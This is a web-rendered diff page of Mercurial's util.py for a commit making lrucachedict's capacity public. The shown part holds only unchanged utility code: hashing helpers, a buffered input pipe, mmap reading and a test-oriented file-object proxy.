##// END OF EJS Templates
util: make capacity a public attribute on lrucachedict...
Gregory Szorc -
r39600:5d75a3c1 default
parent child Browse files
Show More
@@ -1,3885 +1,3885 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import collections
20 import collections
21 import contextlib
21 import contextlib
22 import errno
22 import errno
23 import gc
23 import gc
24 import hashlib
24 import hashlib
25 import itertools
25 import itertools
26 import mmap
26 import mmap
27 import os
27 import os
28 import platform as pyplatform
28 import platform as pyplatform
29 import re as remod
29 import re as remod
30 import shutil
30 import shutil
31 import socket
31 import socket
32 import stat
32 import stat
33 import sys
33 import sys
34 import time
34 import time
35 import traceback
35 import traceback
36 import warnings
36 import warnings
37 import zlib
37 import zlib
38
38
39 from .thirdparty import (
39 from .thirdparty import (
40 attr,
40 attr,
41 )
41 )
42 from hgdemandimport import tracing
42 from hgdemandimport import tracing
43 from . import (
43 from . import (
44 encoding,
44 encoding,
45 error,
45 error,
46 i18n,
46 i18n,
47 node as nodemod,
47 node as nodemod,
48 policy,
48 policy,
49 pycompat,
49 pycompat,
50 urllibcompat,
50 urllibcompat,
51 )
51 )
52 from .utils import (
52 from .utils import (
53 procutil,
53 procutil,
54 stringutil,
54 stringutil,
55 )
55 )
56
56
57 base85 = policy.importmod(r'base85')
57 base85 = policy.importmod(r'base85')
58 osutil = policy.importmod(r'osutil')
58 osutil = policy.importmod(r'osutil')
59 parsers = policy.importmod(r'parsers')
59 parsers = policy.importmod(r'parsers')
60
60
61 b85decode = base85.b85decode
61 b85decode = base85.b85decode
62 b85encode = base85.b85encode
62 b85encode = base85.b85encode
63
63
64 cookielib = pycompat.cookielib
64 cookielib = pycompat.cookielib
65 httplib = pycompat.httplib
65 httplib = pycompat.httplib
66 pickle = pycompat.pickle
66 pickle = pycompat.pickle
67 safehasattr = pycompat.safehasattr
67 safehasattr = pycompat.safehasattr
68 socketserver = pycompat.socketserver
68 socketserver = pycompat.socketserver
69 bytesio = pycompat.bytesio
69 bytesio = pycompat.bytesio
70 # TODO deprecate stringio name, as it is a lie on Python 3.
70 # TODO deprecate stringio name, as it is a lie on Python 3.
71 stringio = bytesio
71 stringio = bytesio
72 xmlrpclib = pycompat.xmlrpclib
72 xmlrpclib = pycompat.xmlrpclib
73
73
74 httpserver = urllibcompat.httpserver
74 httpserver = urllibcompat.httpserver
75 urlerr = urllibcompat.urlerr
75 urlerr = urllibcompat.urlerr
76 urlreq = urllibcompat.urlreq
76 urlreq = urllibcompat.urlreq
77
77
78 # workaround for win32mbcs
78 # workaround for win32mbcs
79 _filenamebytestr = pycompat.bytestr
79 _filenamebytestr = pycompat.bytestr
80
80
81 if pycompat.iswindows:
81 if pycompat.iswindows:
82 from . import windows as platform
82 from . import windows as platform
83 else:
83 else:
84 from . import posix as platform
84 from . import posix as platform
85
85
86 _ = i18n._
86 _ = i18n._
87
87
88 bindunixsocket = platform.bindunixsocket
88 bindunixsocket = platform.bindunixsocket
89 cachestat = platform.cachestat
89 cachestat = platform.cachestat
90 checkexec = platform.checkexec
90 checkexec = platform.checkexec
91 checklink = platform.checklink
91 checklink = platform.checklink
92 copymode = platform.copymode
92 copymode = platform.copymode
93 expandglobs = platform.expandglobs
93 expandglobs = platform.expandglobs
94 getfsmountpoint = platform.getfsmountpoint
94 getfsmountpoint = platform.getfsmountpoint
95 getfstype = platform.getfstype
95 getfstype = platform.getfstype
96 groupmembers = platform.groupmembers
96 groupmembers = platform.groupmembers
97 groupname = platform.groupname
97 groupname = platform.groupname
98 isexec = platform.isexec
98 isexec = platform.isexec
99 isowner = platform.isowner
99 isowner = platform.isowner
100 listdir = osutil.listdir
100 listdir = osutil.listdir
101 localpath = platform.localpath
101 localpath = platform.localpath
102 lookupreg = platform.lookupreg
102 lookupreg = platform.lookupreg
103 makedir = platform.makedir
103 makedir = platform.makedir
104 nlinks = platform.nlinks
104 nlinks = platform.nlinks
105 normpath = platform.normpath
105 normpath = platform.normpath
106 normcase = platform.normcase
106 normcase = platform.normcase
107 normcasespec = platform.normcasespec
107 normcasespec = platform.normcasespec
108 normcasefallback = platform.normcasefallback
108 normcasefallback = platform.normcasefallback
109 openhardlinks = platform.openhardlinks
109 openhardlinks = platform.openhardlinks
110 oslink = platform.oslink
110 oslink = platform.oslink
111 parsepatchoutput = platform.parsepatchoutput
111 parsepatchoutput = platform.parsepatchoutput
112 pconvert = platform.pconvert
112 pconvert = platform.pconvert
113 poll = platform.poll
113 poll = platform.poll
114 posixfile = platform.posixfile
114 posixfile = platform.posixfile
115 rename = platform.rename
115 rename = platform.rename
116 removedirs = platform.removedirs
116 removedirs = platform.removedirs
117 samedevice = platform.samedevice
117 samedevice = platform.samedevice
118 samefile = platform.samefile
118 samefile = platform.samefile
119 samestat = platform.samestat
119 samestat = platform.samestat
120 setflags = platform.setflags
120 setflags = platform.setflags
121 split = platform.split
121 split = platform.split
122 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
122 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
123 statisexec = platform.statisexec
123 statisexec = platform.statisexec
124 statislink = platform.statislink
124 statislink = platform.statislink
125 umask = platform.umask
125 umask = platform.umask
126 unlink = platform.unlink
126 unlink = platform.unlink
127 username = platform.username
127 username = platform.username
128
128
129 try:
129 try:
130 recvfds = osutil.recvfds
130 recvfds = osutil.recvfds
131 except AttributeError:
131 except AttributeError:
132 pass
132 pass
133
133
134 # Python compatibility
134 # Python compatibility
135
135
136 _notset = object()
136 _notset = object()
137
137
138 def bitsfrom(container):
138 def bitsfrom(container):
139 bits = 0
139 bits = 0
140 for bit in container:
140 for bit in container:
141 bits |= bit
141 bits |= bit
142 return bits
142 return bits
143
143
144 # python 2.6 still have deprecation warning enabled by default. We do not want
144 # python 2.6 still have deprecation warning enabled by default. We do not want
145 # to display anything to standard user so detect if we are running test and
145 # to display anything to standard user so detect if we are running test and
146 # only use python deprecation warning in this case.
146 # only use python deprecation warning in this case.
147 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
147 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
148 if _dowarn:
148 if _dowarn:
149 # explicitly unfilter our warning for python 2.7
149 # explicitly unfilter our warning for python 2.7
150 #
150 #
151 # The option of setting PYTHONWARNINGS in the test runner was investigated.
151 # The option of setting PYTHONWARNINGS in the test runner was investigated.
152 # However, module name set through PYTHONWARNINGS was exactly matched, so
152 # However, module name set through PYTHONWARNINGS was exactly matched, so
153 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
153 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
154 # makes the whole PYTHONWARNINGS thing useless for our usecase.
154 # makes the whole PYTHONWARNINGS thing useless for our usecase.
155 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
155 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
156 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
156 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
157 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
157 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
158 if _dowarn and pycompat.ispy3:
158 if _dowarn and pycompat.ispy3:
159 # silence warning emitted by passing user string to re.sub()
159 # silence warning emitted by passing user string to re.sub()
160 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
160 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
161 r'mercurial')
161 r'mercurial')
162 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
162 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
163 DeprecationWarning, r'mercurial')
163 DeprecationWarning, r'mercurial')
164 # TODO: reinvent imp.is_frozen()
164 # TODO: reinvent imp.is_frozen()
165 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
165 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
166 DeprecationWarning, r'mercurial')
166 DeprecationWarning, r'mercurial')
167
167
168 def nouideprecwarn(msg, version, stacklevel=1):
168 def nouideprecwarn(msg, version, stacklevel=1):
169 """Issue an python native deprecation warning
169 """Issue an python native deprecation warning
170
170
171 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
171 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
172 """
172 """
173 if _dowarn:
173 if _dowarn:
174 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
174 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
175 " update your code.)") % version
175 " update your code.)") % version
176 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
176 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
177
177
178 DIGESTS = {
178 DIGESTS = {
179 'md5': hashlib.md5,
179 'md5': hashlib.md5,
180 'sha1': hashlib.sha1,
180 'sha1': hashlib.sha1,
181 'sha512': hashlib.sha512,
181 'sha512': hashlib.sha512,
182 }
182 }
183 # List of digest types from strongest to weakest
183 # List of digest types from strongest to weakest
184 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
184 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
185
185
186 for k in DIGESTS_BY_STRENGTH:
186 for k in DIGESTS_BY_STRENGTH:
187 assert k in DIGESTS
187 assert k in DIGESTS
188
188
189 class digester(object):
189 class digester(object):
190 """helper to compute digests.
190 """helper to compute digests.
191
191
192 This helper can be used to compute one or more digests given their name.
192 This helper can be used to compute one or more digests given their name.
193
193
194 >>> d = digester([b'md5', b'sha1'])
194 >>> d = digester([b'md5', b'sha1'])
195 >>> d.update(b'foo')
195 >>> d.update(b'foo')
196 >>> [k for k in sorted(d)]
196 >>> [k for k in sorted(d)]
197 ['md5', 'sha1']
197 ['md5', 'sha1']
198 >>> d[b'md5']
198 >>> d[b'md5']
199 'acbd18db4cc2f85cedef654fccc4a4d8'
199 'acbd18db4cc2f85cedef654fccc4a4d8'
200 >>> d[b'sha1']
200 >>> d[b'sha1']
201 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
201 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
202 >>> digester.preferred([b'md5', b'sha1'])
202 >>> digester.preferred([b'md5', b'sha1'])
203 'sha1'
203 'sha1'
204 """
204 """
205
205
206 def __init__(self, digests, s=''):
206 def __init__(self, digests, s=''):
207 self._hashes = {}
207 self._hashes = {}
208 for k in digests:
208 for k in digests:
209 if k not in DIGESTS:
209 if k not in DIGESTS:
210 raise error.Abort(_('unknown digest type: %s') % k)
210 raise error.Abort(_('unknown digest type: %s') % k)
211 self._hashes[k] = DIGESTS[k]()
211 self._hashes[k] = DIGESTS[k]()
212 if s:
212 if s:
213 self.update(s)
213 self.update(s)
214
214
215 def update(self, data):
215 def update(self, data):
216 for h in self._hashes.values():
216 for h in self._hashes.values():
217 h.update(data)
217 h.update(data)
218
218
219 def __getitem__(self, key):
219 def __getitem__(self, key):
220 if key not in DIGESTS:
220 if key not in DIGESTS:
221 raise error.Abort(_('unknown digest type: %s') % k)
221 raise error.Abort(_('unknown digest type: %s') % k)
222 return nodemod.hex(self._hashes[key].digest())
222 return nodemod.hex(self._hashes[key].digest())
223
223
224 def __iter__(self):
224 def __iter__(self):
225 return iter(self._hashes)
225 return iter(self._hashes)
226
226
227 @staticmethod
227 @staticmethod
228 def preferred(supported):
228 def preferred(supported):
229 """returns the strongest digest type in both supported and DIGESTS."""
229 """returns the strongest digest type in both supported and DIGESTS."""
230
230
231 for k in DIGESTS_BY_STRENGTH:
231 for k in DIGESTS_BY_STRENGTH:
232 if k in supported:
232 if k in supported:
233 return k
233 return k
234 return None
234 return None
235
235
236 class digestchecker(object):
236 class digestchecker(object):
237 """file handle wrapper that additionally checks content against a given
237 """file handle wrapper that additionally checks content against a given
238 size and digests.
238 size and digests.
239
239
240 d = digestchecker(fh, size, {'md5': '...'})
240 d = digestchecker(fh, size, {'md5': '...'})
241
241
242 When multiple digests are given, all of them are validated.
242 When multiple digests are given, all of them are validated.
243 """
243 """
244
244
245 def __init__(self, fh, size, digests):
245 def __init__(self, fh, size, digests):
246 self._fh = fh
246 self._fh = fh
247 self._size = size
247 self._size = size
248 self._got = 0
248 self._got = 0
249 self._digests = dict(digests)
249 self._digests = dict(digests)
250 self._digester = digester(self._digests.keys())
250 self._digester = digester(self._digests.keys())
251
251
252 def read(self, length=-1):
252 def read(self, length=-1):
253 content = self._fh.read(length)
253 content = self._fh.read(length)
254 self._digester.update(content)
254 self._digester.update(content)
255 self._got += len(content)
255 self._got += len(content)
256 return content
256 return content
257
257
258 def validate(self):
258 def validate(self):
259 if self._size != self._got:
259 if self._size != self._got:
260 raise error.Abort(_('size mismatch: expected %d, got %d') %
260 raise error.Abort(_('size mismatch: expected %d, got %d') %
261 (self._size, self._got))
261 (self._size, self._got))
262 for k, v in self._digests.items():
262 for k, v in self._digests.items():
263 if v != self._digester[k]:
263 if v != self._digester[k]:
264 # i18n: first parameter is a digest name
264 # i18n: first parameter is a digest name
265 raise error.Abort(_('%s mismatch: expected %s, got %s') %
265 raise error.Abort(_('%s mismatch: expected %s, got %s') %
266 (k, v, self._digester[k]))
266 (k, v, self._digester[k]))
267
267
268 try:
268 try:
269 buffer = buffer
269 buffer = buffer
270 except NameError:
270 except NameError:
271 def buffer(sliceable, offset=0, length=None):
271 def buffer(sliceable, offset=0, length=None):
272 if length is not None:
272 if length is not None:
273 return memoryview(sliceable)[offset:offset + length]
273 return memoryview(sliceable)[offset:offset + length]
274 return memoryview(sliceable)[offset:]
274 return memoryview(sliceable)[offset:]
275
275
276 _chunksize = 4096
276 _chunksize = 4096
277
277
278 class bufferedinputpipe(object):
278 class bufferedinputpipe(object):
279 """a manually buffered input pipe
279 """a manually buffered input pipe
280
280
281 Python will not let us use buffered IO and lazy reading with 'polling' at
281 Python will not let us use buffered IO and lazy reading with 'polling' at
282 the same time. We cannot probe the buffer state and select will not detect
282 the same time. We cannot probe the buffer state and select will not detect
283 that data are ready to read if they are already buffered.
283 that data are ready to read if they are already buffered.
284
284
285 This class let us work around that by implementing its own buffering
285 This class let us work around that by implementing its own buffering
286 (allowing efficient readline) while offering a way to know if the buffer is
286 (allowing efficient readline) while offering a way to know if the buffer is
287 empty from the output (allowing collaboration of the buffer with polling).
287 empty from the output (allowing collaboration of the buffer with polling).
288
288
289 This class lives in the 'util' module because it makes use of the 'os'
289 This class lives in the 'util' module because it makes use of the 'os'
290 module from the python stdlib.
290 module from the python stdlib.
291 """
291 """
292 def __new__(cls, fh):
292 def __new__(cls, fh):
293 # If we receive a fileobjectproxy, we need to use a variation of this
293 # If we receive a fileobjectproxy, we need to use a variation of this
294 # class that notifies observers about activity.
294 # class that notifies observers about activity.
295 if isinstance(fh, fileobjectproxy):
295 if isinstance(fh, fileobjectproxy):
296 cls = observedbufferedinputpipe
296 cls = observedbufferedinputpipe
297
297
298 return super(bufferedinputpipe, cls).__new__(cls)
298 return super(bufferedinputpipe, cls).__new__(cls)
299
299
300 def __init__(self, input):
300 def __init__(self, input):
301 self._input = input
301 self._input = input
302 self._buffer = []
302 self._buffer = []
303 self._eof = False
303 self._eof = False
304 self._lenbuf = 0
304 self._lenbuf = 0
305
305
306 @property
306 @property
307 def hasbuffer(self):
307 def hasbuffer(self):
308 """True is any data is currently buffered
308 """True is any data is currently buffered
309
309
310 This will be used externally a pre-step for polling IO. If there is
310 This will be used externally a pre-step for polling IO. If there is
311 already data then no polling should be set in place."""
311 already data then no polling should be set in place."""
312 return bool(self._buffer)
312 return bool(self._buffer)
313
313
314 @property
314 @property
315 def closed(self):
315 def closed(self):
316 return self._input.closed
316 return self._input.closed
317
317
318 def fileno(self):
318 def fileno(self):
319 return self._input.fileno()
319 return self._input.fileno()
320
320
321 def close(self):
321 def close(self):
322 return self._input.close()
322 return self._input.close()
323
323
324 def read(self, size):
324 def read(self, size):
325 while (not self._eof) and (self._lenbuf < size):
325 while (not self._eof) and (self._lenbuf < size):
326 self._fillbuffer()
326 self._fillbuffer()
327 return self._frombuffer(size)
327 return self._frombuffer(size)
328
328
329 def unbufferedread(self, size):
329 def unbufferedread(self, size):
330 if not self._eof and self._lenbuf == 0:
330 if not self._eof and self._lenbuf == 0:
331 self._fillbuffer(max(size, _chunksize))
331 self._fillbuffer(max(size, _chunksize))
332 return self._frombuffer(min(self._lenbuf, size))
332 return self._frombuffer(min(self._lenbuf, size))
333
333
334 def readline(self, *args, **kwargs):
334 def readline(self, *args, **kwargs):
335 if 1 < len(self._buffer):
335 if 1 < len(self._buffer):
336 # this should not happen because both read and readline end with a
336 # this should not happen because both read and readline end with a
337 # _frombuffer call that collapse it.
337 # _frombuffer call that collapse it.
338 self._buffer = [''.join(self._buffer)]
338 self._buffer = [''.join(self._buffer)]
339 self._lenbuf = len(self._buffer[0])
339 self._lenbuf = len(self._buffer[0])
340 lfi = -1
340 lfi = -1
341 if self._buffer:
341 if self._buffer:
342 lfi = self._buffer[-1].find('\n')
342 lfi = self._buffer[-1].find('\n')
343 while (not self._eof) and lfi < 0:
343 while (not self._eof) and lfi < 0:
344 self._fillbuffer()
344 self._fillbuffer()
345 if self._buffer:
345 if self._buffer:
346 lfi = self._buffer[-1].find('\n')
346 lfi = self._buffer[-1].find('\n')
347 size = lfi + 1
347 size = lfi + 1
348 if lfi < 0: # end of file
348 if lfi < 0: # end of file
349 size = self._lenbuf
349 size = self._lenbuf
350 elif 1 < len(self._buffer):
350 elif 1 < len(self._buffer):
351 # we need to take previous chunks into account
351 # we need to take previous chunks into account
352 size += self._lenbuf - len(self._buffer[-1])
352 size += self._lenbuf - len(self._buffer[-1])
353 return self._frombuffer(size)
353 return self._frombuffer(size)
354
354
355 def _frombuffer(self, size):
355 def _frombuffer(self, size):
356 """return at most 'size' data from the buffer
356 """return at most 'size' data from the buffer
357
357
358 The data are removed from the buffer."""
358 The data are removed from the buffer."""
359 if size == 0 or not self._buffer:
359 if size == 0 or not self._buffer:
360 return ''
360 return ''
361 buf = self._buffer[0]
361 buf = self._buffer[0]
362 if 1 < len(self._buffer):
362 if 1 < len(self._buffer):
363 buf = ''.join(self._buffer)
363 buf = ''.join(self._buffer)
364
364
365 data = buf[:size]
365 data = buf[:size]
366 buf = buf[len(data):]
366 buf = buf[len(data):]
367 if buf:
367 if buf:
368 self._buffer = [buf]
368 self._buffer = [buf]
369 self._lenbuf = len(buf)
369 self._lenbuf = len(buf)
370 else:
370 else:
371 self._buffer = []
371 self._buffer = []
372 self._lenbuf = 0
372 self._lenbuf = 0
373 return data
373 return data
374
374
375 def _fillbuffer(self, size=_chunksize):
375 def _fillbuffer(self, size=_chunksize):
376 """read data to the buffer"""
376 """read data to the buffer"""
377 data = os.read(self._input.fileno(), size)
377 data = os.read(self._input.fileno(), size)
378 if not data:
378 if not data:
379 self._eof = True
379 self._eof = True
380 else:
380 else:
381 self._lenbuf += len(data)
381 self._lenbuf += len(data)
382 self._buffer.append(data)
382 self._buffer.append(data)
383
383
384 return data
384 return data
385
385
386 def mmapread(fp):
386 def mmapread(fp):
387 try:
387 try:
388 fd = getattr(fp, 'fileno', lambda: fp)()
388 fd = getattr(fp, 'fileno', lambda: fp)()
389 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
389 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
390 except ValueError:
390 except ValueError:
391 # Empty files cannot be mmapped, but mmapread should still work. Check
391 # Empty files cannot be mmapped, but mmapread should still work. Check
392 # if the file is empty, and if so, return an empty buffer.
392 # if the file is empty, and if so, return an empty buffer.
393 if os.fstat(fd).st_size == 0:
393 if os.fstat(fd).st_size == 0:
394 return ''
394 return ''
395 raise
395 raise
396
396
397 class fileobjectproxy(object):
397 class fileobjectproxy(object):
398 """A proxy around file objects that tells a watcher when events occur.
398 """A proxy around file objects that tells a watcher when events occur.
399
399
400 This type is intended to only be used for testing purposes. Think hard
400 This type is intended to only be used for testing purposes. Think hard
401 before using it in important code.
401 before using it in important code.
402 """
402 """
403 __slots__ = (
403 __slots__ = (
404 r'_orig',
404 r'_orig',
405 r'_observer',
405 r'_observer',
406 )
406 )
407
407
408 def __init__(self, fh, observer):
408 def __init__(self, fh, observer):
409 object.__setattr__(self, r'_orig', fh)
409 object.__setattr__(self, r'_orig', fh)
410 object.__setattr__(self, r'_observer', observer)
410 object.__setattr__(self, r'_observer', observer)
411
411
412 def __getattribute__(self, name):
412 def __getattribute__(self, name):
413 ours = {
413 ours = {
414 r'_observer',
414 r'_observer',
415
415
416 # IOBase
416 # IOBase
417 r'close',
417 r'close',
418 # closed if a property
418 # closed if a property
419 r'fileno',
419 r'fileno',
420 r'flush',
420 r'flush',
421 r'isatty',
421 r'isatty',
422 r'readable',
422 r'readable',
423 r'readline',
423 r'readline',
424 r'readlines',
424 r'readlines',
425 r'seek',
425 r'seek',
426 r'seekable',
426 r'seekable',
427 r'tell',
427 r'tell',
428 r'truncate',
428 r'truncate',
429 r'writable',
429 r'writable',
430 r'writelines',
430 r'writelines',
431 # RawIOBase
431 # RawIOBase
432 r'read',
432 r'read',
433 r'readall',
433 r'readall',
434 r'readinto',
434 r'readinto',
435 r'write',
435 r'write',
436 # BufferedIOBase
436 # BufferedIOBase
437 # raw is a property
437 # raw is a property
438 r'detach',
438 r'detach',
439 # read defined above
439 # read defined above
440 r'read1',
440 r'read1',
441 # readinto defined above
441 # readinto defined above
442 # write defined above
442 # write defined above
443 }
443 }
444
444
445 # We only observe some methods.
445 # We only observe some methods.
446 if name in ours:
446 if name in ours:
447 return object.__getattribute__(self, name)
447 return object.__getattribute__(self, name)
448
448
449 return getattr(object.__getattribute__(self, r'_orig'), name)
449 return getattr(object.__getattribute__(self, r'_orig'), name)
450
450
451 def __nonzero__(self):
451 def __nonzero__(self):
452 return bool(object.__getattribute__(self, r'_orig'))
452 return bool(object.__getattribute__(self, r'_orig'))
453
453
454 __bool__ = __nonzero__
454 __bool__ = __nonzero__
455
455
456 def __delattr__(self, name):
456 def __delattr__(self, name):
457 return delattr(object.__getattribute__(self, r'_orig'), name)
457 return delattr(object.__getattribute__(self, r'_orig'), name)
458
458
459 def __setattr__(self, name, value):
459 def __setattr__(self, name, value):
460 return setattr(object.__getattribute__(self, r'_orig'), name, value)
460 return setattr(object.__getattribute__(self, r'_orig'), name, value)
461
461
462 def __iter__(self):
462 def __iter__(self):
463 return object.__getattribute__(self, r'_orig').__iter__()
463 return object.__getattribute__(self, r'_orig').__iter__()
464
464
465 def _observedcall(self, name, *args, **kwargs):
465 def _observedcall(self, name, *args, **kwargs):
466 # Call the original object.
466 # Call the original object.
467 orig = object.__getattribute__(self, r'_orig')
467 orig = object.__getattribute__(self, r'_orig')
468 res = getattr(orig, name)(*args, **kwargs)
468 res = getattr(orig, name)(*args, **kwargs)
469
469
470 # Call a method on the observer of the same name with arguments
470 # Call a method on the observer of the same name with arguments
471 # so it can react, log, etc.
471 # so it can react, log, etc.
472 observer = object.__getattribute__(self, r'_observer')
472 observer = object.__getattribute__(self, r'_observer')
473 fn = getattr(observer, name, None)
473 fn = getattr(observer, name, None)
474 if fn:
474 if fn:
475 fn(res, *args, **kwargs)
475 fn(res, *args, **kwargs)
476
476
477 return res
477 return res
478
478
479 def close(self, *args, **kwargs):
479 def close(self, *args, **kwargs):
480 return object.__getattribute__(self, r'_observedcall')(
480 return object.__getattribute__(self, r'_observedcall')(
481 r'close', *args, **kwargs)
481 r'close', *args, **kwargs)
482
482
483 def fileno(self, *args, **kwargs):
483 def fileno(self, *args, **kwargs):
484 return object.__getattribute__(self, r'_observedcall')(
484 return object.__getattribute__(self, r'_observedcall')(
485 r'fileno', *args, **kwargs)
485 r'fileno', *args, **kwargs)
486
486
487 def flush(self, *args, **kwargs):
487 def flush(self, *args, **kwargs):
488 return object.__getattribute__(self, r'_observedcall')(
488 return object.__getattribute__(self, r'_observedcall')(
489 r'flush', *args, **kwargs)
489 r'flush', *args, **kwargs)
490
490
491 def isatty(self, *args, **kwargs):
491 def isatty(self, *args, **kwargs):
492 return object.__getattribute__(self, r'_observedcall')(
492 return object.__getattribute__(self, r'_observedcall')(
493 r'isatty', *args, **kwargs)
493 r'isatty', *args, **kwargs)
494
494
495 def readable(self, *args, **kwargs):
495 def readable(self, *args, **kwargs):
496 return object.__getattribute__(self, r'_observedcall')(
496 return object.__getattribute__(self, r'_observedcall')(
497 r'readable', *args, **kwargs)
497 r'readable', *args, **kwargs)
498
498
499 def readline(self, *args, **kwargs):
499 def readline(self, *args, **kwargs):
500 return object.__getattribute__(self, r'_observedcall')(
500 return object.__getattribute__(self, r'_observedcall')(
501 r'readline', *args, **kwargs)
501 r'readline', *args, **kwargs)
502
502
503 def readlines(self, *args, **kwargs):
503 def readlines(self, *args, **kwargs):
504 return object.__getattribute__(self, r'_observedcall')(
504 return object.__getattribute__(self, r'_observedcall')(
505 r'readlines', *args, **kwargs)
505 r'readlines', *args, **kwargs)
506
506
507 def seek(self, *args, **kwargs):
507 def seek(self, *args, **kwargs):
508 return object.__getattribute__(self, r'_observedcall')(
508 return object.__getattribute__(self, r'_observedcall')(
509 r'seek', *args, **kwargs)
509 r'seek', *args, **kwargs)
510
510
511 def seekable(self, *args, **kwargs):
511 def seekable(self, *args, **kwargs):
512 return object.__getattribute__(self, r'_observedcall')(
512 return object.__getattribute__(self, r'_observedcall')(
513 r'seekable', *args, **kwargs)
513 r'seekable', *args, **kwargs)
514
514
515 def tell(self, *args, **kwargs):
515 def tell(self, *args, **kwargs):
516 return object.__getattribute__(self, r'_observedcall')(
516 return object.__getattribute__(self, r'_observedcall')(
517 r'tell', *args, **kwargs)
517 r'tell', *args, **kwargs)
518
518
519 def truncate(self, *args, **kwargs):
519 def truncate(self, *args, **kwargs):
520 return object.__getattribute__(self, r'_observedcall')(
520 return object.__getattribute__(self, r'_observedcall')(
521 r'truncate', *args, **kwargs)
521 r'truncate', *args, **kwargs)
522
522
523 def writable(self, *args, **kwargs):
523 def writable(self, *args, **kwargs):
524 return object.__getattribute__(self, r'_observedcall')(
524 return object.__getattribute__(self, r'_observedcall')(
525 r'writable', *args, **kwargs)
525 r'writable', *args, **kwargs)
526
526
527 def writelines(self, *args, **kwargs):
527 def writelines(self, *args, **kwargs):
528 return object.__getattribute__(self, r'_observedcall')(
528 return object.__getattribute__(self, r'_observedcall')(
529 r'writelines', *args, **kwargs)
529 r'writelines', *args, **kwargs)
530
530
531 def read(self, *args, **kwargs):
531 def read(self, *args, **kwargs):
532 return object.__getattribute__(self, r'_observedcall')(
532 return object.__getattribute__(self, r'_observedcall')(
533 r'read', *args, **kwargs)
533 r'read', *args, **kwargs)
534
534
535 def readall(self, *args, **kwargs):
535 def readall(self, *args, **kwargs):
536 return object.__getattribute__(self, r'_observedcall')(
536 return object.__getattribute__(self, r'_observedcall')(
537 r'readall', *args, **kwargs)
537 r'readall', *args, **kwargs)
538
538
539 def readinto(self, *args, **kwargs):
539 def readinto(self, *args, **kwargs):
540 return object.__getattribute__(self, r'_observedcall')(
540 return object.__getattribute__(self, r'_observedcall')(
541 r'readinto', *args, **kwargs)
541 r'readinto', *args, **kwargs)
542
542
543 def write(self, *args, **kwargs):
543 def write(self, *args, **kwargs):
544 return object.__getattribute__(self, r'_observedcall')(
544 return object.__getattribute__(self, r'_observedcall')(
545 r'write', *args, **kwargs)
545 r'write', *args, **kwargs)
546
546
547 def detach(self, *args, **kwargs):
547 def detach(self, *args, **kwargs):
548 return object.__getattribute__(self, r'_observedcall')(
548 return object.__getattribute__(self, r'_observedcall')(
549 r'detach', *args, **kwargs)
549 r'detach', *args, **kwargs)
550
550
551 def read1(self, *args, **kwargs):
551 def read1(self, *args, **kwargs):
552 return object.__getattribute__(self, r'_observedcall')(
552 return object.__getattribute__(self, r'_observedcall')(
553 r'read1', *args, **kwargs)
553 r'read1', *args, **kwargs)
554
554
555 class observedbufferedinputpipe(bufferedinputpipe):
555 class observedbufferedinputpipe(bufferedinputpipe):
556 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
556 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
557
557
558 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
558 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
559 bypass ``fileobjectproxy``. Because of this, we need to make
559 bypass ``fileobjectproxy``. Because of this, we need to make
560 ``bufferedinputpipe`` aware of these operations.
560 ``bufferedinputpipe`` aware of these operations.
561
561
562 This variation of ``bufferedinputpipe`` can notify observers about
562 This variation of ``bufferedinputpipe`` can notify observers about
563 ``os.read()`` events. It also re-publishes other events, such as
563 ``os.read()`` events. It also re-publishes other events, such as
564 ``read()`` and ``readline()``.
564 ``read()`` and ``readline()``.
565 """
565 """
